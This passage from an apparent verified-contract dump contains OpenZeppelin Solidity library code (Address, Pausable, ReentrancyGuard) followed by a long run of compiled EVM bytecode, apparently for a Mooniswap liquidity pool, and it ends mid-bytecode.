require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
0x6080604052600436106103135760003560e01c80637e82a6f31161019a578063d21220a7116100e1578063e331d0391161008a578063f1ea604211610064578063f1ea604214610e1a578063f2fde38b14610e2f578063f76d13b414610e6257610313565b8063e331d03914610d73578063e7ff42c914610dbd578063eaadf84814610df057610313565b8063d9a0c217116100bb578063d9a0c21714610d0e578063dd62ed3e14610d23578063ddca3f4314610d5e57610313565b8063d21220a714610c82578063d5bcb9b514610c97578063d7d3aab514610cdb57610313565b80639ea5ce0a11610143578063aa6ca8081161011d578063aa6ca80814610b8d578063b1ec4c4014610bdb578063c40d4d6614610c4f57610313565b80639ea5ce0a14610a9e578063a457c2d714610b1b578063a9059cbb14610b5457610313565b806395cad3c71161017457806395cad3c714610a2357806395d89b4114610a565780639aad141b14610a6b57610313565b80637e82a6f3146109c65780638da5cb5b146109f957806393028d8314610a0e57610313565b80633732b3941161025e5780635ed9156d1161020757806370a08231116101e157806370a0823114610945578063715018a61461097857806378e3214f1461098d57610313565b80635ed9156d146108a15780636669302a146108fd5780636edc2c091461091257610313565b806348d67e1b1161023857806348d67e1b146107ab5780634f64b2be146107c05780635915d806146107ea57610313565b80633732b3941461066057806339509351146106755780633c6216a6146106ae57610313565b806318160ddd116102c057806323e8cae11161029a57806323e8cae11461056a5780633049105d1461057f578063313ce5671461063557610313565b806318160ddd146104bd5780631e1401f8146104e457806323b872dd1461052757610313565b8063095ea7b3116102f1578063095ea7b3146104155780630dfe16811461046257806311212d661461049357610313565b80630146081f1461031857806306fdde031461035f57806307a80070146103e9575b600080fd5b34801561032457600080fd5b5061032d610e77565b604080516001600160681b03948516815292909316602083015265ffffffffffff168183015290519081900360600190f35b34801561036b57600080fd5b50610374610ea3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103ae578181015183820152602001610396565b50505050905090810190601f1680156103db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f557600080fd5b506104136004803603602081101561040c57600080fd5b5035610f39565b005b34801561042157600080fd5b5061044e6004803603604081101561043857600080fd5b506001600160a01b038135169060200135611061565b604080519115158252519081900360200190f35b34801561046e57600080fd5b5061047761107f565b604080516001600160a01b039092168252519081900360200190f35b34801561049f57600080fd5b50610413600480360360208110156104b657600080fd5b50356110a3565b3480156104c957600080fd5b506104d26111c7565b60408051918252519081900360200190f35b3480156104f057600080fd5b506104d26004803603606081101561050757600080fd5b506001600160a01b038135811691602081013590911690604001356111cd565b34801561053357600080fd5b5061044e6004803603606081101561054a57600080fd5b506001600160a01b03813581169160208101359091169060400135611206565b34801561057657600080fd5b5061032d61128d565b6105f36004803603608081101561059557600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201919091525050604080518082018252929594938181019392509060029083908390808284376000920191909152509194506112b99350505050565b6040518083815260200182600260200280838360005b83811015610621578181015183820152602001610609565b505050509050019250505060405180910390f35b34801561064157600080fd5b5061064a6112d9565b6040805160ff9092168252519081900360200190f35b34801561066c57600080fd5b506104d26112e2565b34801561068157600080fd5b5061044e6004803603604081101561069857600080fd5b506001600160a01b038135169060200135611330565b3480156106ba57600080fd5b50610770600480360360608110156106d157600080fd5b813591908101906040810160208201356401000000008111156106f357600080fd5b82018360208201111561070557600080fd5b8035906020019184602083028401116401000000008311171561072757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b0316915061137e9050565b6040518082600260200280838360005b83811015610798578181015183820152602001610780565b5050505090500191505060405180910390f35b3480156107b757600080fd5b506104d2611624565b3480156107cc57600080fd5b50610477600480360360208110156107e357600080fd5b503561166d565b3480156107f657600080fd5b506107706004803603604081101561080d57600080fd5b8135919081019060408101602082013564010000000081111561082f57600080fd5b82018360208201111561084157600080fd5b8035906020019184602083028401116401000000008311171561086357600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061171d945050505050565b3480156108ad57600080fd5b506108d4600480360360208110156108c457600080fd5b50356001600160a01b0316611730565b604080516001600160d81b03909316835264ffffffffff90911660208301528051918290030190f35b34801561090957600080fd5b5061041361175b565b34801561091e57600080fd5b506108d46004803603602081101561093557600080fd5b50356001600160a01b0316611789565b34801561095157600080fd5b506104d26004803603602081101561096857600080fd5b50356001600160a01b03166117b4565b34801561098457600080fd5b506104136117cf565b34801561099957600080fd5b50610413600480360360408110156109b057600080fd5b506001600160a01b03813516906020013561189b565b3480156109d257600080fd5b506104d2600480360360208110156109e957600080fd5b50356001600160a01b0316611b61565b348015610a0557600080fd5b50610477611b9c565b348015610a1a57600080fd5b50610413611bb0565b348015610a2f57600080fd5b506104d260048036036020811015610a4657600080fd5b50356001600160a01b0316611bdc565b348015610a6257600080fd5b50610374611c17565b348015610a7757600080fd5b506104d260048036036020811015610a8e57600080fd5b50356001600160a01b0316611c78565b6105f3600480360360a0811015610ab457600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201919091525050604080518082018252929594938181019392509060029083908390808284376000920191909152509194505050356001600160a01b03169050611cb3565b348015610b2757600080fd5b5061044e60048036036040811015610b3e57600080fd5b506001600160a01b038135169060200135612382565b348015610b6057600080fd5b5061044e60048036036040811015610b7757600080fd5b506001600160a01b0381351690602001356123ea565b348015610b9957600080fd5b50610ba26123fe565b60408051602080825283518183015283519192839290830191858101910280838360008315610621578181015183820152602001610609565b348015610be757600080fd5b50610c0e60048036036020811015610bfe57600080fd5b50356001600160a01b03166124bd565b60405180836fffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b348015610c5b57600080fd5b5061041360048036036020811015610c7257600080fd5b50356001600160a01b03166124f9565b348015610c8e57600080fd5b506104776126ad565b6104d2600480360360a0811015610cad57600080fd5b506001600160a01b0381358116916020810135821691604082013591606081013591608090910135166126d1565b348015610ce757600080fd5b506104d260048036036020811015610cfe57600080fd5b50356001600160a01b03166126eb565b348015610d1a57600080fd5b50610477612761565b348015610d2f57600080fd5b506104d260048036036040811015610d4657600080fd5b506001600160a01b0381358116916020013516612770565b348015610d6a57600080fd5b506104d261279b565b6104d2600480360360c0811015610d8957600080fd5b506001600160a01b0381358116916020810135821691604082013591606081013591608082013581169160a00135166127e4565b348015610dc957600080fd5b506104d260048036036020811015610de057600080fd5b50356001600160a01b0316612b7d565b348015610dfc57600080fd5b5061041360048036036020811015610e1357600080fd5b5035612bf3565b348015610e2657600080fd5b5061032d612d68565b348015610e3b57600080fd5b5061041360048036036020811015610e5257600080fd5b50356001600160a01b0316612d94565b348015610e6e57600080fd5b50610413612ebc565b6010546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f2f5780601f10610f0457610100808354040283529160200191610f2f565b820191906000526020600020905b815481529060010190602001808311610f1257829003601f168201915b5050505050905090565b670de0b6b3a7640000811115610f96576040805162461bcd60e51b815260206004820152601d60248201527f536c6970706167652066656520766f746520697320746f6f2068696768000000604482015290519081900360640190fd5b336000818152600f602090815260409182902082519182019092529054815261105e9190610fc384612f46565b610fcc336117b4565b610fd46111c7565b600760009054906101000a90046001600160a01b03166001600160a01b03166323662bb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561102257600080fd5b505afa158015611036573d6000803e3d6000fd5b505050506040513d602081101561104c57600080fd5b5051600c959493929190612f65612fb8565b50565b600061107561106e612fd3565b8484612fd7565b5060015b92915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b662386f26fc100008111156110ff576040805162461bcd60e51b815260206004820152601460248201527f46656520766f746520697320746f6f2068696768000000000000000000000000604482015290519081900360640190fd5b336000818152600b602090815260409182902082519182019092529054815261105e919061112c84612f46565b611135336117b4565b61113d6111c7565b600760009054906101000a90046001600160a01b03166001600160a01b0316635a6c72d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561118b57600080fd5b505afa15801561119f573d6000803e3d6000fd5b505050506040513d60208110156111b557600080fd5b505160089594939291906130c3612fb8565b60025490565b60006111fc8484846111de886126eb565b6111e788612b7d565b6111ef61279b565b6111f76112e2565b613116565b90505b9392505050565b6000611213848484613257565b6112838461121f612fd3565b61127e85604051806060016040528060288152602001615246602891396001600160a01b038a1660009081526001602052604081209061125d612fd3565b6001600160a01b0316815260208101919091526040016000205491906133b2565b612fd7565b5060019392505050565b600c546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b60006112c36150ab565b6112ce848433611cb3565b915091509250929050565b60055460ff1690565b60408051606081018252600c546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b905090565b600061107561133d612fd3565b8461127e856001600061134e612fd3565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906134cc565b6113866150ab565b600260065414156113de576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026006556113eb6150ab565b50604080518082019091526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811682527f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c16602082015260006114546111c7565b90506000611460611624565b905061146c3388613526565b60005b60028110156115c157600084826002811061148657fe5b6020020151905060006114a26001600160a01b03831630613622565b905060006114ba866114b4848e6136c3565b9061371c565b90506114d06001600160a01b0384168a8361375e565b808885600281106114dd57fe5b602002015289518410158061150557508984815181106114f957fe5b60200260200101518110155b611556576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a20726573756c74206973206e6f7420656e6f75676800604482015290519081900360640190fd5b6115868583611565898f6137c7565b6001600160a01b03871660009081526015602052604090209291908a613809565b6115b68583611595898f6137c7565b6001600160a01b03871660009081526016602052604090209291908a613809565b50505060010161146f565b508351602080860151604080518b8152928301939093528183015290516001600160a01b0387169133917f3cae9923fd3c2f468aa25a8ef687923e37f957459557c0380fd06526c0b8cdbc9181900360600190a350506001600655509392505050565b604080516060810182526010546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b60008161169b57507f0000000000000000000000000000000000000000000000000000000000000000611718565b81600114156116cb57507f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c611718565b6040805162461bcd60e51b815260206004820152601360248201527f506f6f6c206861732074776f20746f6b656e7300000000000000000000000000604482015290519081900360640190fd5b919050565b6117256150ab565b6111ff83833361137e565b6016602052600090815260409020546001600160d81b03811690600160d81b900464ffffffffff1682565b336000818152600f60209081526040918290208251918201909252905481526117879190610fc3613866565b565b6015602052600090815260409020546001600160d81b03811690600160d81b900464ffffffffff1682565b6001600160a01b031660009081526020819052604090205490565b6117d7612fd3565b60055461010090046001600160a01b0390811691161461183e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36005805474ffffffffffffffffffffffffffffffffffffffff0019169055565b600260065414156118f3576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655611900612fd3565b60055461010090046001600160a01b03908116911614611967576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600061199c6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630613622565b905060006119d36001600160a01b037f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c1630613622565b90506119e96001600160a01b038516338561375e565b81611a1d6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001630613622565b1015611a70576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b80611aa46001600160a01b037f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c1630613622565b1015611af7576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b6103e8611b03306117b4565b1015611b56576040805162461bcd60e51b815260206004820152601860248201527f4d6f6f6e69737761703a206163636573732064656e6965640000000000000000604482015290519081900360640190fd5b505060016006555050565b6007546001600160a01b038281166000908152601360209081526040808320815192830190915254815290926110799216631845f0db613881565b60055461010090046001600160a01b031690565b336000818152600b6020908152604091829020825191820190925290548152611787919061112c613866565b6007546001600160a01b038281166000908152600f602090815260408083208151928301909152548152909261107992166323662bb9613881565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f2f5780601f10610f0457610100808354040283529160200191610f2f565b6007546001600160a01b038281166000908152600b60209081526040808320815192830190915254815290926110799216635a6c72d0613881565b6000611cbd6150ab565b60026006541415611d15576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655611d226150ab565b50604080518082019091526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811682527f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c166020820152611d9b8160005b60200201516001600160a01b03166138f7565b611dc057611daa816001611d88565b611db5576000611dbb565b60208601515b611dc3565b85515b3414611e16576040805162461bcd60e51b815260206004820152601c60248201527f4d6f6f6e69737761703a2077726f6e672076616c756520757361676500000000604482015290519081900360640190fd5b6000611e206111c7565b905080611fac57611e346103e860636136c3565b9350611e42306103e8613904565b60005b6002811015611fa657611e6885898360028110611e5e57fe5b60200201516139f4565b94506000888260028110611e7857fe5b602002015111611ecf576040805162461bcd60e51b815260206004820152601960248201527f4d6f6f6e69737761703a20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b868160028110611edb57fe5b6020020151888260028110611eec57fe5b60200201511015611f44576040805162461bcd60e51b815260206004820181905260248201527f4d6f6f6e69737761703a206d696e416d6f756e74206e6f742072656163686564604482015290519081900360640190fd5b611f7c33308a8460028110611f5557fe5b6020020151868560028110611f6657fe5b60200201516001600160a01b0316929190613a0b565b878160028110611f8857fe5b6020020151848260028110611f9957fe5b6020020152600101611e45565b506122bf565b611fb46150ab565b60005b600281101561202257612009611fd2858360028110611d8857fe5b611fdd576000611fdf565b345b61200330878560028110611fef57fe5b60200201516001600160a01b031690613622565b906137c7565b82826002811061201557fe5b6020020152600101611fb7565b50600019945060005b60028110156120765761206c8661206784846002811061204757fe5b60200201516114b48d866002811061205b57fe5b602002015188906136c3565b613b97565b955060010161202b565b508460005b60028110156122035760008a826002811061209257fe5b6020020151116120e9576040805162461bcd60e51b815260206004820152601960248201527f4d6f6f6e69737761703a20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b6000612117856114b4600188036121118789886002811061210657fe5b6020020151906136c3565b906134cc565b905089826002811061212557fe5b602002015181101561217e576040805162461bcd60e51b815260206004820181905260248201527f4d6f6f6e69737761703a206d696e416d6f756e74206e6f742072656163686564604482015290519081900360640190fd5b612190333083898660028110611f6657fe5b6121b484836002811061219f57fe5b602002015161200330898660028110611fef57fe5b8783600281106121c057fe5b60200201526121f8886120678685600281106121d857fe5b60200201516114b48b87600281106121ec57fe5b60200201518a906136c3565b97505060010161207b565b50600061220e611624565b905060005b60028110156122ba576122828285836002811061222c57fe5b602002015161223b888c6134cc565b88601660008c886002811061224c57fe5b60200201516001600160a01b03166001600160a01b0316815260200190815260200160002061380990949392919063ffffffff16565b6122b28285836002811061229257fe5b60200201516122a1888c6134cc565b88601560008c886002811061224c57fe5b600101612213565b505050505b60008411612314576040805162461bcd60e51b815260206004820152601f60248201527f4d6f6f6e69737761703a20726573756c74206973206e6f7420656e6f75676800604482015290519081900360640190fd5b61231e8585613904565b825160208085015160408051888152928301939093528183015290516001600160a01b0387169133917f8bab6aed5a508937051a144e61d6e61336834a66aaee250a00613ae6f744c4229181900360600190a3505060016006559094909350915050565b600061107561238f612fd3565b8461127e8560405180606001604052806025815260200161530260259139600160006123b9612fd3565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906133b2565b60006110756123f7612fd3565b8484613257565b60408051600280825260608083018452926020830190803683370190505090507f00000000000000000000000000000000000000000000000000000000000000008160008151811061244c57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c8160018151811061249a57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505090565b6014602052600090815260409020546fffffffffffffffffffffffffffffffff8082169170010000000000000000000000000000000090041682565b612501612fd3565b60055461010090046001600160a01b03908116911614612568576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600780547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038316179055604080517f93028d83000000000000000000000000000000000000000000000000000000008152905130916393028d8391600480830192600092919082900301818387803b1580156125ec57600080fd5b505af1158015612600573d6000803e3d6000fd5b50505050306001600160a01b0316636669302a6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561263f57600080fd5b505af1158015612653573d6000803e3d6000fd5b50505050306001600160a01b031663f76d13b46040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561269257600080fd5b505af11580156126a6573d6000803e3d6000fd5b5050505050565b7f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c81565b60006126e18686868686336127e4565b9695505050505050565b6000806127016001600160a01b03841630613622565b90506111ff61275b612711611624565b6001600160a01b0386166000908152601560209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff16908201529084613ba6565b826139f4565b6007546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b604080516060810182526008546001600160681b038082168352600160681b8204166020830152600160d01b900465ffffffffffff169181019190915260009061132b90613449565b60006002600654141561283e576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600655600754604080517f22f3e2d400000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216916322f3e2d491600480820192602092909190829003018186803b1580156128a157600080fd5b505afa1580156128b5573d6000803e3d6000fd5b505050506040513d60208110156128cb57600080fd5b505161291e576040805162461bcd60e51b815260206004820152601b60248201527f4d6f6f6e69737761703a20666163746f72792073687574646f776e0000000000604482015290519081900360640190fd5b612930876001600160a01b03166138f7565b61293b57600061293d565b845b3414612990576040805162461bcd60e51b815260206004820152601c60248201527f4d6f6f6e69737761703a2077726f6e672076616c756520757361676500000000604482015290519081900360640190fd5b6129986150c9565b60405180604001604052806129d86129b88b6001600160a01b03166138f7565b6129c35760006129c5565b345b6120036001600160a01b038d1630613622565b81526020016129f06001600160a01b038a1630613622565b9052905060006129fe6150c9565b612a066150c9565b6040518060400160405280612a1961279b565b8152602001612a266112e2565b90529050612a398b8b8b8b8a8987613c01565b8094508197508295505050508a6001600160a01b0316866001600160a01b0316336001600160a01b03167fbd99c6719f088aa0abd9e7b7a4a635d1f931601e9f304b538dc42be25d8c65c68d878a886000015189602001518f60405180876001600160a01b03168152602001868152602001858152602001848152602001838152602001826001600160a01b03168152602001965050505050505060405180910390a4612ae98386898785613e84565b50506001600160a01b03909816600090815260146020526040902080547001000000000000000000000000000000006fffffffffffffffffffffffffffffffff808316909b018b167fffffffffffffffffffffffffffffffff00000000000000000000000000000000909216919091178181048b1685018b1690910299169890981790975560016006559695505050505050565b600080612b936001600160a01b03841630613622565b90506111ff612bed612ba3611624565b6001600160a01b0386166000908152601660209081526040918290208251808401909352546001600160d81b0381168352600160d81b900464ffffffffff16908201529084613ba6565b82613b97565b61012c811115612c4a576040805162461bcd60e51b815260206004820152601d60248201527f446563617920706572696f6420766f746520697320746f6f2068696768000000604482015290519081900360640190fd5b603c811015612ca0576040805162461bcd60e51b815260206004820152601c60248201527f446563617920706572696f6420766f746520697320746f6f206c6f7700000000604482015290519081900360640190fd5b3360008181526013602090815260409182902082519182019092529054815261105e9190612ccd84612f46565b612cd6336117b4565b612cde6111c7565b600760009054906101000a90046001600160a01b03166001600160a01b0316631845f0db6040518163ffffffff1660e01b815260040160206040518083038186803b158015612d2c57600080fd5b505afa158015612d40573d6000803e3d6000fd5b505050506040513d6020811015612d5657600080fd5b505160109594939291906143af612fb8565b6008546001600160681b0380821692600160681b830490911691600160d01b900465ffffffffffff1690565b612d9c612fd3565b60055461010090046001600160a01b03908116911614612e03576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116612e485760405162461bcd60e51b81526004018080602001828103825260268152602001806151b76026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b336000818152601360209081526040918290208251918201909252905481526117879190612ccd613866565b6000600160681b8210612f42576040805162461bcd60e51b815260206004820152601e60248201527f76616c756520646f6573206e6f742066697420696e2031303420626974730000604482015290519081900360640190fd5b5090565b612f4e6150e3565b506040805160208101909152600182018152919050565b60408051848152831515602082015280820183905290516001600160a01b038616917fce0cf859d853e1944032294143a1bf3ad799998ae77acbeb6c4d9b20d6910240919081900360600190a250505050565b612fc9888888888889898989614402565b5050505050505050565b3390565b6001600160a01b03831661301c5760405162461bcd60e51b81526004018080602001828103825260248152602001806152b46024913960400191505060405180910390fd5b6001600160a01b0382166130615760405162461bcd60e51b81526004018080602001828103825260228152602001806151dd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60408051848152831515602082015280820183905290516001600160a01b038616917fe117cae46817b894b41a4412b73ae0ba746a5707b94e02d83b4c6502010b11ac919081900360600190a250505050565b6000866001600160a01b0316886001600160a01b03161115613136579596955b60008611801561317757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b0316145b80156131b457507f0000000000000000000000000000000000004946c0e9f43f4dee607b0ef1fa1c6001600160a01b0316876001600160a01b0316145b1561324c5760006131db6131d4670de0b6b3a76400006114b48a886136c3565b88906137c7565b905060006131e987836134cc565b905060006131fb826114b4858a6136c3565b9050600061321e61320c87866136c3565b612003670de0b6b3a7640000866136c3565b90506000613234670de0b6b3a7640000856136c3565b9050613244816114b485856136c3565b955050505050505b979650505050505050565b6001600160a01b03831661329c5760405162461bcd60e51b815260040180806020018281038252602581526020018061528f6025913960400191505060405180910390fd5b6001600160a01b0382166132e15760405162461bcd60e51b81526004018080602001828103825260238152602001806151726023913960400191505060405180910390fd5b6132ec838383614626565b613329816040518060600160405280602681526020016151ff602691396001600160a01b03861660009081526020819052604090205491906133b2565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461335890826134cc565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156134415760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134065781810151838201526020016133ee565b50505050905090810190601f1680156134335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008061347262015180612067856040015165ffffffffffff16426137c790919063ffffffff16565b9050600061348362015180836137c7565b90506134c4620151806114b46134af8588602001516001600160681b03166136c390919063ffffffff16565b8751612111906001600160681b0316866136c3565b949350505050565b6000828201838110156111ff576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03821661356b5760405162461bcd60e51b815260040180806020018281038252602181526020018061526e6021913960400191505060405180910390fd5b61357782600083614626565b6135b481604051806060016040528060228152602001615195602291396001600160a01b03851660009081526020819052604090205491906133b2565b6001600160a01b0383166000908152602081905260409020556002546135da90826137c7565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600061362d836138f7565b1561364357506001600160a01b03811631611079565b826001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561369057600080fd5b505afa1580156136a4573d6000803e3d6000fd5b505050506040513d60208110156136ba57600080fd5b50519050611079565b6000826136d257506000611079565b828202828482816136df57fe5b04146111ff5760405162461bcd60e51b81526004018080602001828103825260218152602001806152256021913960400191505060405180910390fd5b60006111ff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614911565b80156137c25761376d836138f7565b156137ae576040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156137a8573d6000803e3d6000fd5b506137c2565b6137c26001600160a01b0384168383614976565b505050565b60006111ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506133b2565b6126a685613861836114b461381f8260016137c7565b604080518082019091528b546001600160d81b0381168252600160d81b900464ffffffffff16602082015261211190899061385b908d8d613ba6565b906136c3565b6149f6565b61386e6150e3565b5060408051602081019091526000815290565b82516000901561389757508251600019016111ff565b82826040518163ffffffff1660e01b815260040160206040518083038186803b1580156138c357600080fd5b505afa1580156138d7573d6000803e3d6000fd5b505050506040513d60208110156138ed57600080fd5b5051949350505050565b6001600160a01b03161590565b6001600160a01b03821661395f576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61396b60008383614626565b60025461397890826134cc565b6002556001600160a01b03821660009081526020819052604090205461399e90826134cc565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600081831015613a0457816111ff565b5090919050565b8015613b9157613a1a846138f7565b15613b7c5780341015613a74576040805162461bcd60e51b815260206004820152601a60248201527f556e6945524332303a206e6f7420656e6f7567682076616c7565000000000000604482015290519081900360640190fd5b6001600160a01b0383163314613ad1576040805162461bcd60e51b815260206004820152601660248201527f66726f6d206973206e6f74206d73672e73656e64657200000000000000000000604482015290519081900360640190fd5b6001600160a01b0382163014613b2